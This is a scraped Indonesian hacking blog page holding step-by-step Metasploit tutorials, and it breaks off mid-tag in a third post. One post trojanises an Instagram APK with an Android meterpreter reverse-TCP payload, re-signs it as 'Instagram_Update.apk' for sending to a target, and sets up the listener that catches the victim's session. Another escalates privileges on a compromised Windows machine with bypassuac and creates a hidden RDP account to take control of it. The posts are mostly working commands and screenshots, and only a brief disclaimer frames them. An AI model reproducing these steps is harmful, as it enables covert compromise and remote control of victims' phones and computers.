Cara Menyisipkan Backdoor kedalam File Apk

<div style="text-align: justify;"> Kalau untuk mengelabui target user windows dengan membuat backdoor dengan format file tertentu mungkin sudah biasa ya, karena memang sudah banyak module exploit yang digunakan untuk membuat backdoor dengan format file tertentu(.pdf, .doc, .rar). lalu bagaimana jika target exploit kita android, dan bagaimana untuk menyamarkan backdoor tersebut ? oke di bawah ini akan saya berikan contoh cara menyisipkan backdoor kedalam file apk.<br /> <br /> Bagi yang mau mencoba bisa download bahannya <a href="https://www.mediafire.com/file/newdp41qbosnh1p/apk-embed.zip/file" rel="nofollow" target="_blank">disini</a><br /> Extract file tersebut lalu masukkan file apk yang akan di sisipi backdoor ke dalam folder apk-embed jadi satu dengan <b>apk-embed-payload.rb</b>. sebagai contoh disini saya akan menyisipkan backdoor kedalam file apk instagram</div> <div style="text-align: justify;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_c33veYkQ53NQ3hM-OOcyQ8QXbpwpSgh1S8h98br4T8EHNDYLO5KGiKxurXY_GFbcGPZEalbvX10tEt-sekcLQ0ChqGboA3bcjxymwl5c6tb-M5d8mFiMm0UZ_SLZp-BYgOm3yHadgU0/s1600/ls.png" style="margin-left: 1em; margin-right: 1em;"><img alt="" border="0" height="154" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_c33veYkQ53NQ3hM-OOcyQ8QXbpwpSgh1S8h98br4T8EHNDYLO5KGiKxurXY_GFbcGPZEalbvX10tEt-sekcLQ0ChqGboA3bcjxymwl5c6tb-M5d8mFiMm0UZ_SLZp-BYgOm3yHadgU0/s320/ls.png" title="Cara Menyisipkan Backdoor kedalam File APK" width="320" /></a></div> <br /> Nah untuk memasukkan payload ke dalam file apk tersebut perintahnya seperti ini<br /> <blockquote class="tr_bq"> ruby apk-embed-payload.rb [target.apk] [msfvenom options]</blockquote> Contoh<br /> <blockquote class="tr_bq"> ruby apk-embed-payload.rb Instagram.apk -p android/meterpreter/reverse_tcp lhost=192.168.1.100 lport=1337</blockquote> </div> <div style="text-align: justify;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCz95rgAjAB8_vu0xOChhlXuYVAw-_jzx1OHvy0gQTyo7f4J_hD3JmqlDVZ97YZ1yTGprdnx4mTZouob4sjhZV_GKvZ5mDx5nGbUmKeAJjxO1WBuDaS0j8-jr7W5avuKMVFhXZqWzYhbI/s1600/embed-prosses.png" style="margin-left: 1em; margin-right: 1em;"><img alt="ruby apk-embed-payload.rb [target.apk] [msfvenom options]" border="0" height="157" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCz95rgAjAB8_vu0xOChhlXuYVAw-_jzx1OHvy0gQTyo7f4J_hD3JmqlDVZ97YZ1yTGprdnx4mTZouob4sjhZV_GKvZ5mDx5nGbUmKeAJjxO1WBuDaS0j8-jr7W5avuKMVFhXZqWzYhbI/s320/embed-prosses.png" title="Cara Menyisipkan Backdoor kedalam File APK" width="320" /></a></div> </div> <div style="text-align: justify;"> <br /> Tunggu hingga prossesnya selesai, jika berhasil nantinya akan ada file baru yang telah disisipi backdoor dengan nama namafile_backdoored.apk<br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio3h7iYKMGhyphenhyphenvjkN-nEWl3ROF6VEmjfW08mIB7V_pl896jCMwPh2sEwGFHKQ2LinjqyfIaP0FdQeKOUV1eNHr7IbSA-0lnxBAm-cnIgKzzpYuU0c4W-cgHEzLA-ujcf021YFe75BB698U/s1600/infectec-file.png" style="margin-left: 1em; margin-right: 1em;"><img alt="namafile_backdoored.apk" border="0" height="49" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio3h7iYKMGhyphenhyphenvjkN-nEWl3ROF6VEmjfW08mIB7V_pl896jCMwPh2sEwGFHKQ2LinjqyfIaP0FdQeKOUV1eNHr7IbSA-0lnxBAm-cnIgKzzpYuU0c4W-cgHEzLA-ujcf021YFe75BB698U/s320/infectec-file.png" title="Cara Menyisipkan Backdoor kedalam File APK" width="320" /></a></div> </div> <div style="text-align: justify;"> <br /> Selanjutnya adalah melakukan SignApk, tujuannya agar file apk yang telah di sisipi backdoor tersebut bisa di install di semua device android.<br /> Caranya, masukkan file apk hasil backdooring kedalam folder SignApk. lalu lakukan sign dengan perintah dibawah ini <br /> <blockquote class="tr_bq"> java -jar signapk.jar testkey.x509.pem testkey.pk8 [file_asli.apk] [file_asli_hasilsign.apk]</blockquote> Contoh<br /> <blockquote> java -jar signapk.jar testkey.x509.pem testkey.pk8 Instagram_backdoored.apk Instagram_Update.apk</blockquote> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigpeKZSmm_fd7vtzO7a0epImIZU7-wqXsweIsRGlW1rXymVG_rsL80n6_MBZ8AfTUAkaUwFLkBVJHpK_5CBPubuA_RvKlAusKdBJWv47b3R1pSGoxR96KWySihYdHMJPaOO4tUzPlTXGA/s1600/java--jar-signapk.jar-testkey.x509.pem-testkey.pk8-%255Bfile_asli.apk%255D-%255Bfile_asli_hasilsign.apk%255D.png" style="margin-left: 1em; margin-right: 1em;"><img alt="java -jar signapk.jar testkey.x509.pem testkey.pk8 [file_asli.apk] [file_asli_hasilsign.apk]" border="0" height="159" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigpeKZSmm_fd7vtzO7a0epImIZU7-wqXsweIsRGlW1rXymVG_rsL80n6_MBZ8AfTUAkaUwFLkBVJHpK_5CBPubuA_RvKlAusKdBJWv47b3R1pSGoxR96KWySihYdHMJPaOO4tUzPlTXGA/s320/java--jar-signapk.jar-testkey.x509.pem-testkey.pk8-%255Bfile_asli.apk%255D-%255Bfile_asli_hasilsign.apk%255D.png" title="Cara Menyisipkan Backdoor kedalam File APK" width="320" /></a></div> </div> <div style="text-align: justify;"> Nah diatas file hasil sign saya beri nama Instagram_Update.apk dan file siap di kirim ke target. namun sebelumnya buka msfconsole, set seperti di bawah ini<br /> <blockquote class="tr_bq"> msfconsole</blockquote> <blockquote class="tr_bq"> use exploit/multi/handler<br /> set payload android/meterpreter/reverse_tcp<br /> set lhost 192.168.1.100 <br /> set lport 1337<br /> exploit</blockquote> <i>lhost dan lport sesuaikan dengan yang kalian gunakan.</i> <br /> <br /> Berikut ini adalah tampilan android target ketika menginstall file apk yang di sisipi backdoor tadi. <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmC8z9sDk5EyAZHYS9b5z4y7B1HE2SI8YfK1BjBy_odhWG0oq2zFzrKPPDBSYNLnM9iYuHMj6SR1uymsCtgCDXCKdY7CE9PLAw5hJWpfjHc1Y4hWYntsRKcD1kD6c2iLJKcuvUGXhhPcA/s1600/Install-Backdoor.png" style="margin-left: 1em; margin-right: 1em;"><img alt="install backdoor" border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmC8z9sDk5EyAZHYS9b5z4y7B1HE2SI8YfK1BjBy_odhWG0oq2zFzrKPPDBSYNLnM9iYuHMj6SR1uymsCtgCDXCKdY7CE9PLAw5hJWpfjHc1Y4hWYntsRKcD1kD6c2iLJKcuvUGXhhPcA/s320/Install-Backdoor.png" title="Cara Menyisipkan Backdoor kedalam File APK" width="212" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3j2lhte0cKOJ3C6ZAhD8BUbJQ4Brh8NnmmyPSMAc1Zyu_4YDDe24L3teWXKB1-68o6wmbMY4H9MEHLuSuciKC7gYfPuuEEllJ8nsalY1hoBi0RGGjQkL4gZvyroi6LhtYvviA2bNvLmM/s1600/app-installed.png" style="margin-left: 1em; margin-right: 1em;"><img alt="backdoor installed" border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3j2lhte0cKOJ3C6ZAhD8BUbJQ4Brh8NnmmyPSMAc1Zyu_4YDDe24L3teWXKB1-68o6wmbMY4H9MEHLuSuciKC7gYfPuuEEllJ8nsalY1hoBi0RGGjQkL4gZvyroi6LhtYvviA2bNvLmM/s320/app-installed.png" title="Cara Menyisipkan Backdoor kedalam File APK" width="209" /></a></div> Tidak beda dengan aslinya kan<br /> <br /> Namun begitu target mebuka aplikasi tersebut kita juga mendapatkan sesi meterpreternya<br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7CGw0w2HPQ-iVC5r-728iZCSHFw0NlexLjHyMl5tKSteMJooo_yOz5B70zcVgVBKKSQFMWOqlaq2_FYr3QpL8FYuQYR0coqss39YZLRyDHyRvcYLihkTLs_HxpvmJuBR7-Gz0qJwLP5o/s1600/backdoor-opened.png" style="margin-left: 1em; margin-right: 1em;"><img alt="backdoor opened" border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7CGw0w2HPQ-iVC5r-728iZCSHFw0NlexLjHyMl5tKSteMJooo_yOz5B70zcVgVBKKSQFMWOqlaq2_FYr3QpL8FYuQYR0coqss39YZLRyDHyRvcYLihkTLs_HxpvmJuBR7-Gz0qJwLP5o/s320/backdoor-opened.png" title="Cara Menyisipkan Backdoor kedalam File APK" width="200" /></a></div> <br /> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAnfYW3o5HHVL7EripJcTNsMDUjRLTgVHrCmOmmPqf0l0AfvJpd87YPYf3P2KI6nEcq45e15mkL7raAx9ZRdqcj_UvthyphenhyphenaZJBOsARQ44590si03pE6fNkZklgy0u91oyEosp1_S2vZaw0/s1600/meterpreter-open.png" style="margin-left: 1em; margin-right: 1em;"><img alt="meterpreter sessions opened" border="0" height="195" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAnfYW3o5HHVL7EripJcTNsMDUjRLTgVHrCmOmmPqf0l0AfvJpd87YPYf3P2KI6nEcq45e15mkL7raAx9ZRdqcj_UvthyphenhyphenaZJBOsARQ44590si03pE6fNkZklgy0u91oyEosp1_S2vZaw0/s320/meterpreter-open.png" title="Cara Menyisipkan Backdoor kedalam File APK" width="320" /></a></div> </div> <div style="text-align: justify;"> </div> <div style="text-align: justify;"> Bagi yang masih penasaran kalian bisa lihat video di bawah ini<br /> <div class="separator" style="clear: both; text-align: center;"> </div> </div> <div style="text-align: justify;"> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> <iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/iZkZqA8qePQ/0.jpg" frameborder="0" height="320" src="https://www.youtube.com/embed/iZkZqA8qePQ?feature=player_embedded" width="480"></iframe></div> </div> <div style="text-align: justify;"> </div> <div style="text-align: justify;"> <br /> Tutorial ini hanya ntuk pengetahuan semata, jika ada penyalahgunaan dari tutorial ini bukan tanggung jawab dari saya.<br /> Saya harap dengan dibuatnya postingan ini dapat membuat kita agar lebih berhati-hati apabila mendownload aplikasi dari sumber yang tidak terpercaya. Selalu download aplikasi dari website resmi atau dari google play. <br /> Oke, mungkin cukup itu yang bisa saya sampaikan mengenai <b>Cara Menyisipkan Backdoor kedalam File Apk</b>, semoga bermanfaat.<br /> source <a href="https://gist.github.com/SkullTech/a62d106b55562cc1ab88" rel="nofollow" target="_blank">https://gist.github.com/SkullTech</a> </div>

Cara Menyisipkan Backdoor kedalam File Apk

Kalau untuk mengelabui target user windows dengan membuat backdoor dengan format file tertentu mungkin sudah biasa ya, karena memang sudah ...

Baca selengkapnya »

Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter

<div style="text-align: justify;"> <div style="text-align: justify;"> Pada postingan kali ini saya akan memberikan tutorial mengenai cara mendapatkan akses remote desktop victim. '<b>getgui</b>' merupakan sebuah script meterpreter yang memungkinkan untuk mengaktifkan Remote Desktop dan membuat account pengguna untuk login ke dalamnya (<a href="https://www.offensive-security.com/metasploit-unleashed/enabling-remote-desktop/" rel="nofollow" target="_blank">offensive-security</a>)</div> <div style="text-align: justify;"> <br /></div> Oke, mari kita mulai.<br /> <div style="text-align: justify;"> Saya asumsikan disini kalain sudah mendapatkan sesi meterpreter dari sistem target, untuk cara mendapatkannnya kalian bisa lihat di tutorial sebelumnya mengenai <a href="http://anher323.blogspot.co.id/search/label/Metasploit" target="_blank">Metasploit</a></div> <br /></div> <div style="text-align: justify;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQEY2G60J7xEwdrDJG1012oJF8oBWvq62XL6N1YgiNEvoMhGgrydUHUFkim4WeoEYDmqyBcczD9A-3XtL3qoQoTzMNcpE3qoyEhmCTCPzBeCV2bTtgpUKOebcN87ZrQ2TVyd4tMPvbgh4/s1600/sysinfo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="sysinfo" border="0" height="212" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQEY2G60J7xEwdrDJG1012oJF8oBWvq62XL6N1YgiNEvoMhGgrydUHUFkim4WeoEYDmqyBcczD9A-3XtL3qoQoTzMNcpE3qoyEhmCTCPzBeCV2bTtgpUKOebcN87ZrQ2TVyd4tMPvbgh4/s320/sysinfo.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div> <div style="text-align: justify;"> <br /></div> Oke untuk mengaktifkan Remote Desktop Connection dari target, kita gunakan getgui untuk membuat account, perintahnya:<br /> <blockquote class="tr_bq"> run getgui <span style="text-align: justify;">-u <username> -p <password></span></blockquote> </div> <div style="text-align: justify;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUfZk5gqwZkoD4wipRzPjrjVgff6TgT1Xt22BzIRqFg3daEufDyG0SqZ9gs0SpGz1-IrywCywBMCoeuuyqhHA6NH13NPzMnG9uh6_JJpyrq5xSbvZH37QcEbU-0BcMVaYdVZTYsVs2JWM/s1600/run+getgui+-u+anher+-p+Test123+fail.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="run getgui -u <username> -p <password>" border="0" height="191" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUfZk5gqwZkoD4wipRzPjrjVgff6TgT1Xt22BzIRqFg3daEufDyG0SqZ9gs0SpGz1-IrywCywBMCoeuuyqhHA6NH13NPzMnG9uh6_JJpyrq5xSbvZH37QcEbU-0BcMVaYdVZTYsVs2JWM/s320/run+getgui+-u+anher+-p+Test123+fail.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div> <br /> <div style="text-align: justify;"> Jika muncul pesan <b><i>Insufficient privileges</i></b>, itu menunjukkan bahwa kita tidak diperbolehkan untuk menjalankan perintah tersebut. jadi kita harus mendapatkan hak istimewa (Administrator) dalam sistem tersebut atau sebagai <b>root</b> jika di Linux.</div> <div style="text-align: justify;"> nah untuk mendapatkan hak tersebut gunakan perintah berikut ini</div> <blockquote class="tr_bq"> getsystem</blockquote> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYDq7WDLWGGPMZcVR2xY402eO1V_wCGrnCd0NxIn6Uwk-Ix4pcGj97aBAOt-sUcpH-9823XWD2V9rY-GYDhzfoDU7HJwT7U3RiyHazE02SSvb4ahAH5EW2v0F559279aqt1b5fFHg-8kU/s1600/getsystem+fail.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="getsystem failed" border="0" height="191" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYDq7WDLWGGPMZcVR2xY402eO1V_wCGrnCd0NxIn6Uwk-Ix4pcGj97aBAOt-sUcpH-9823XWD2V9rY-GYDhzfoDU7HJwT7U3RiyHazE02SSvb4ahAH5EW2v0F559279aqt1b5fFHg-8kU/s320/getsystem+fail.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div> <br /> Apabila muncul pesan seperti berikut<br /> <blockquote class="tr_bq"> [-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:<br /> [-] Named Pipe Impersonation (In Memory/Admin)<br /> [-] Named Pipe Impersonation (Dropper/Admin)<br /> [-] Token Duplication (In Memory/Admin)</blockquote> <div style="text-align: justify;"> Itu biasanya karena UAC (User Account Control System) target sedang aktif. namun jangan khawatir metasploit memiliki module exploit untuk melakukan bypass UAC.</div> <div class="separator" style="clear: both;"> Sebelum menggunakan module exploit tersebut kita berjalan sebagai background terlebih dahulu dari meterpreter yang sedang aktif</div> <blockquote class="tr_bq"> background</blockquote> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5xnr00Nb6JNzxiWyq9YeAUwSUKbPEvHBM0UfHio5XrOW_WQBx9vCkAVb40FZURecGmmikS71vjDPZmP8L0UtrvEdoSaxwbb0s48238dI_THSLyNGSuPNQY4KYfk9PCfiarJH8Ep6iTvs/s1600/background.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="background" border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5xnr00Nb6JNzxiWyq9YeAUwSUKbPEvHBM0UfHio5XrOW_WQBx9vCkAVb40FZURecGmmikS71vjDPZmP8L0UtrvEdoSaxwbb0s48238dI_THSLyNGSuPNQY4KYfk9PCfiarJH8Ep6iTvs/s320/background.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div> <br /> Lalu gunakan module exploit <i>exploit/windows/local/bypassuac</i><br /> <blockquote class="tr_bq"> use exploit/windows/local/bypassuac<br /> show options (opsional)<br /> set session 1 (sessions yang sebelumnya di dapatkan)</blockquote> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvP-MKDLkT8NBFVKwOXnjhxTVcGBMeNFj_p8Tug6mIFisDdMNXbO4GwKNZqyu0CbwBCk2GxGmPhoArB2KVpYXy_yddJlP5pVA7ZJa7mBpYj72X2Hk5PNtz8b6gE1fFS900NIu_yK4WTZ8/s1600/use+exploit+bypassuac.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="use exploit/windows/local/bypassuac" border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvP-MKDLkT8NBFVKwOXnjhxTVcGBMeNFj_p8Tug6mIFisDdMNXbO4GwKNZqyu0CbwBCk2GxGmPhoArB2KVpYXy_yddJlP5pVA7ZJa7mBpYj72X2Hk5PNtz8b6gE1fFS900NIu_yK4WTZ8/s320/use+exploit+bypassuac.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div> <br /> Lalu jalankan exploit kembali<br /> <blockquote class="tr_bq"> exploit</blockquote> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNu1PPx4rKYBMYC_l6hQk5LTffSDxshatDQBelsPPlW7qSf3BJRnP9_zLuJIznSkmuEYKaZCttipfZycsB5Y9RnMK2qZ_bh32BqPbKXtj5oNd3qRMjNqRsuL2IzgKIh8Lzn4CdcfRGns4/s1600/exploit.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="exploit" border="0" height="201" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNu1PPx4rKYBMYC_l6hQk5LTffSDxshatDQBelsPPlW7qSf3BJRnP9_zLuJIznSkmuEYKaZCttipfZycsB5Y9RnMK2qZ_bh32BqPbKXtj5oNd3qRMjNqRsuL2IzgKIh8Lzn4CdcfRGns4/s320/exploit.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div> <br /> Nah jika berhasil, sekarang kita telah mendapatkan hak Administrator atau sebagai root dalam sistem target<br /> <div style="text-align: justify;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiH0bq99s422gnR8tbjEbvuBJJFLHbaRnR-BWrqM2yGdmz5q2HHBAsugVx4myBooBD9xs4QGhDcG7cg0AjdGA1GRn-KXarNS_jDnqdHWZSgVB4IDki_uL15aog2LzbfFl0uVnsgtwVD8Ic/s1600/getsystem.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="getsystem succes" border="0" height="197" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiH0bq99s422gnR8tbjEbvuBJJFLHbaRnR-BWrqM2yGdmz5q2HHBAsugVx4myBooBD9xs4QGhDcG7cg0AjdGA1GRn-KXarNS_jDnqdHWZSgVB4IDki_uL15aog2LzbfFl0uVnsgtwVD8Ic/s320/getsystem.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div> <br /></div> Coba jalankan getgui kembali untuk membuat account Remote Desktop Cennection<br /> <blockquote class="tr_bq"> run getgui -u <username> -p <password></blockquote> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwik8cUZuqjc9eUjY1zUNwyxlQhoRa4VIbkm8JD5p8kTojRLXqNGFnxNVz-3EO57ZERiWicydka-A-HITc1NuKFmkFAz9bwQCDagniwcAlkX5Vg-PcXiEN1IVXw_HWrN2gP01ae6m5nHk/s1600/run+getgui+-u++%253Cusername%253E+-p+%253Cpassword%253E.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="run getgui -u <username> -p <password>" border="0" height="196" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwik8cUZuqjc9eUjY1zUNwyxlQhoRa4VIbkm8JD5p8kTojRLXqNGFnxNVz-3EO57ZERiWicydka-A-HITc1NuKFmkFAz9bwQCDagniwcAlkX5Vg-PcXiEN1IVXw_HWrN2gP01ae6m5nHk/s320/run+getgui+-u++%253Cusername%253E+-p+%253Cpassword%253E.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div> <br /> <div style="text-align: justify;"> Screenshot di atas menunjukkan Account RDP telah berhasil di buat, lalu kita coba login dengan rdesktop, gunakan perintah berikut.</div> <blockquote class="tr_bq"> rdesktop -u <username> -p <password> IP <ip-addres-target></blockquote> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4RDHtfHyqU3T5c7ujzbB5A7_skNeQt1UcW-OJeGmeOfXMXZe1XrmtSKOQBIKFNEwgWShmZeuSNol5ILMzKDc_kbuLp1sdqoA0s9yWksaoCvRfRhjBnDmeAeq77ggRY179G4r2shqId-s/s1600/rdesktop+-u+username+-p+password+IP+Target.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="rdesktop -u <username> -p <password> IP <ip-addres-target>" border="0" height="120" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4RDHtfHyqU3T5c7ujzbB5A7_skNeQt1UcW-OJeGmeOfXMXZe1XrmtSKOQBIKFNEwgWShmZeuSNol5ILMzKDc_kbuLp1sdqoA0s9yWksaoCvRfRhjBnDmeAeq77ggRY179G4r2shqId-s/s320/rdesktop+-u+username+-p+password+IP+Target.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div> <br /> Tunggu beberapa saat<br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi80zYYY9GTsUgkBhr5S2uJYWbkrEN_7ztkELI2UByklpNDjov7sZN1_DpS4zfMQVnAkn7sbl1yNBib-TuV2zxfXMKgqiUJmRtWqMsURR3WoxBF87W3SxbJqi1LQLyRVc-LnRbMEpJx9-4/s1600/Preparing+your+Desktop.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Preparing your desktop" border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi80zYYY9GTsUgkBhr5S2uJYWbkrEN_7ztkELI2UByklpNDjov7sZN1_DpS4zfMQVnAkn7sbl1yNBib-TuV2zxfXMKgqiUJmRtWqMsURR3WoxBF87W3SxbJqi1LQLyRVc-LnRbMEpJx9-4/s320/Preparing+your+Desktop.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div> <br /> <div style="text-align: justify;"> Nah setelah berhasil login sekarng kita dapt mengoperasikan komputer target dengan mouse dan keyboard kita sendiri.</div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUQEb081cB4XBvzF5HlcfX3xJZ1X0yFr1qTT2rYoOH0sge5F6jrOuhj10o_Azb7ws_9bDhqj49LcOImwyQTFN_RPuPbPBNEFVRA9wjSe_ixwdIIYCZ4g51SzZYpWRhvS8PnKFMFuFhbJU/s1600/Success+Login.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Login Success" border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUQEb081cB4XBvzF5HlcfX3xJZ1X0yFr1qTT2rYoOH0sge5F6jrOuhj10o_Azb7ws_9bDhqj49LcOImwyQTFN_RPuPbPBNEFVRA9wjSe_ixwdIIYCZ4g51SzZYpWRhvS8PnKFMFuFhbJU/s320/Success+Login.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div> <br /> System properties target<br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWoiWHRdMgE17dxSV5X0B4eXysW5_pn6zYLsVfe4neVsriPheFn6a6mdhh5VCGMejRqNNgVzRBe1lvijZdbaAibjYKEXirkl83Y2d9y_gTP6vrwOlW9p9aeJOaiLdV_-Z8DoI0PmhiKUg/s1600/system+Properties.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="System Properties" border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWoiWHRdMgE17dxSV5X0B4eXysW5_pn6zYLsVfe4neVsriPheFn6a6mdhh5VCGMejRqNNgVzRBe1lvijZdbaAibjYKEXirkl83Y2d9y_gTP6vrwOlW9p9aeJOaiLdV_-Z8DoI0PmhiKUg/s320/system+Properties.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div> <br /> <div style="text-align: justify;"> Nah jika kalian masih bingung, kalian dapat melihat video di bawah ini</div> <br /> <div class="separator" style="clear: both; text-align: center;"> <iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/wwS2XPZlYME/0.jpg" frameborder="0" height="320" src="https://www.youtube.com/embed/wwS2XPZlYME?feature=player_embedded" width="480"></iframe></div> <br /> <div style="text-align: justify;"> Sekian tutorial mengenai <b>Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter</b>, semoga bermanfaat.</div> </div>

Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter

Pada postingan kali ini saya akan memberikan tutorial mengenai cara mendapatkan akses remote desktop victim. ' getgui ' merupakan ...

Baca selengkapnya »

Perintah - Perintah dasar Meterpreter Metasploit

<div style="text-align: justify;"> <div style="text-align: justify;"> Pada postingan kali ini saya akan membagikan beberapa perintah-perintah yang dapat dijalankan ketika kita sudah mendapatkan sesi meterpreter dari target yang kita exploit.<br /> Kebetulan kemarin ada yang bertanya juga apa yang bisa kita lakukan jika sudah mendapat sesi meterpreter, jika kita tau perintah-perintahnya banyak yang bisa dilakukan, seperti menjalankan program yang ada di sistem target, mengirim file atau mengambil file-file yang ada di sistem target. nah di bawah ini akan saya berikan beberapa contoh perintah - perintah dasar meterpreter di metasploit</div> </div> <div style="text-align: justify;"> <b><br /></b> <b><span style="font-size: large;">help</span></b><br /> Perintah ini digunakan untuk melihat semua menu meterpreter</div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;"><span style="color: lime; font-size: 11.7px; line-height: 19px;">meterpreter > help Core Commands ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session bgkill Kills a background meterpreter script</span></span></pre> <b><span style="font-size: large;">background</span></b><br /> Perintah ini digunakan untuk mengirimkan sesi meterpreter berjalan sebagai background<br /> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="font-size: 11.7px; line-height: 19px;"><span style="color: lime;">meterpreter > background </span><span style="color: 